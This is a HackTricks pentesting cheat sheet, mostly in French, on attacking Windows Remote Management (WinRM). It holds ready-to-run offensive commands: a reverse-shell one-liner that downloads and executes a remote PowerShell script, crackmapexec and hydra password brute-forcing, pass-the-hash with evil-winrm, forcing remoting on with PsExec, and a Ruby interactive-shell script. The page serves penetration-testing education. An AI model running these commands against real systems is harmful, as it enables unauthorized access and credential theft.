16 KiB
5985,5986 - Pentesting WinRM
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
WinRM
Windows Remote Management (WinRM) est mis en avant comme un protocole par Microsoft qui permet la gestion à distance des systèmes Windows via HTTP(S), en utilisant SOAP dans le processus. Il est fondamentalement alimenté par WMI, se présentant comme une interface basée sur HTTP pour les opérations WMI.
La présence de WinRM sur une machine permet une administration à distance simple via PowerShell, semblable à la façon dont SSH fonctionne pour d'autres systèmes d'exploitation. Pour déterminer si WinRM est opérationnel, il est recommandé de vérifier l'ouverture de ports spécifiques :
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
Un port ouvert de la liste ci-dessus signifie que WinRM a été configuré, permettant ainsi des tentatives d'initiation d'une session à distance.
Initiating a WinRM Session
Pour configurer PowerShell pour WinRM, la cmdlet Enable-PSRemoting
de Microsoft entre en jeu, configurant l'ordinateur pour accepter des commandes PowerShell à distance. Avec un accès PowerShell élevé, les commandes suivantes peuvent être exécutées pour activer cette fonctionnalité et désigner n'importe quel hôte comme de confiance :
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
Cette approche consiste à ajouter un caractère générique à la configuration trustedhosts
, une étape qui nécessite une considération prudente en raison de ses implications. Il est également noté qu'il pourrait être nécessaire de modifier le type de réseau de "Public" à "Work" sur la machine de l'attaquant.
De plus, WinRM peut être activé à distance en utilisant la commande wmic
, comme démontré ci-dessous :
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
Cette méthode permet la configuration à distance de WinRM, améliorant la flexibilité dans la gestion des machines Windows à distance.
Tester si configuré
Pour vérifier la configuration de votre machine d'attaque, la commande Test-WSMan
est utilisée pour vérifier si la cible a WinRM configuré correctement. En exécutant cette commande, vous devriez vous attendre à recevoir des détails concernant la version du protocole et le wsmid, indiquant une configuration réussie. Voici des exemples démontrant la sortie attendue pour une cible configurée par rapport à une non configurée :
- Pour une cible qui est correctement configurée, la sortie ressemblera à ceci :
Test-WSMan <target-ip>
La réponse devrait contenir des informations sur la version du protocole et wsmid, signifiant que WinRM est configuré correctement.
- En revanche, pour une cible non configurée pour WinRM, cela ne donnerait pas d'informations aussi détaillées, soulignant l'absence d'une configuration WinRM appropriée.
Exécuter une commande
Pour exécuter ipconfig
à distance sur une machine cible et voir sa sortie, faites :
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
Vous pouvez également exécuter une commande de votre console PS actuelle via Invoke-Command. Supposons que vous ayez localement une fonction appelée enumeration et que vous souhaitiez l'exécuter sur un ordinateur distant, vous pouvez faire :
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
Exécuter un script
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
Obtenir un reverse-shell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
Obtenir une session PS
Pour obtenir un shell PowerShell interactif, utilisez Enter-PSSession
:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
La session s'exécutera dans un nouveau processus (wsmprovhost) à l'intérieur de la "victime"
Forcer l'ouverture de WinRM
Pour utiliser PS Remoting et WinRM mais que l'ordinateur n'est pas configuré, vous pouvez l'activer avec :
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Sauvegarde et restauration des sessions
Cela ne fonctionnera pas si la langue est limitée sur l'ordinateur distant.
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
À l'intérieur de ces sessions, vous pouvez charger des scripts PS en utilisant Invoke-Command
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Erreurs
Si vous trouvez l'erreur suivante :
enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.
Essayez sur le client (info provenant de ici):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Aperçus sur le hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
Actualités de hacking en temps réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
Dernières annonces
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Connexion WinRM sous Linux
Brute Force
Soyez prudent, le brute-forcing de winrm pourrait bloquer les utilisateurs.
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Utilisation d'evil-winrm
gem install evil-winrm
Lisez la documentation sur son github : https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
Pour utiliser evil-winrm pour se connecter à une adresse IPv6, créez une entrée dans /etc/hosts en attribuant un nom de domaine à l'adresse IPv6 et connectez-vous à ce domaine.
Pass the hash with evil-winrm
evil-winrm -u <username> -H <Hash> -i <IP>
Utilisation d'une machine PS-docker
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
Utilisation d'un script ruby
Code extrait d'ici : https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
Références
Commandes Automatiques HackTricks
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Aperçus sur le hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
Actualités de hacking en temps réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
Dernières annonces
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.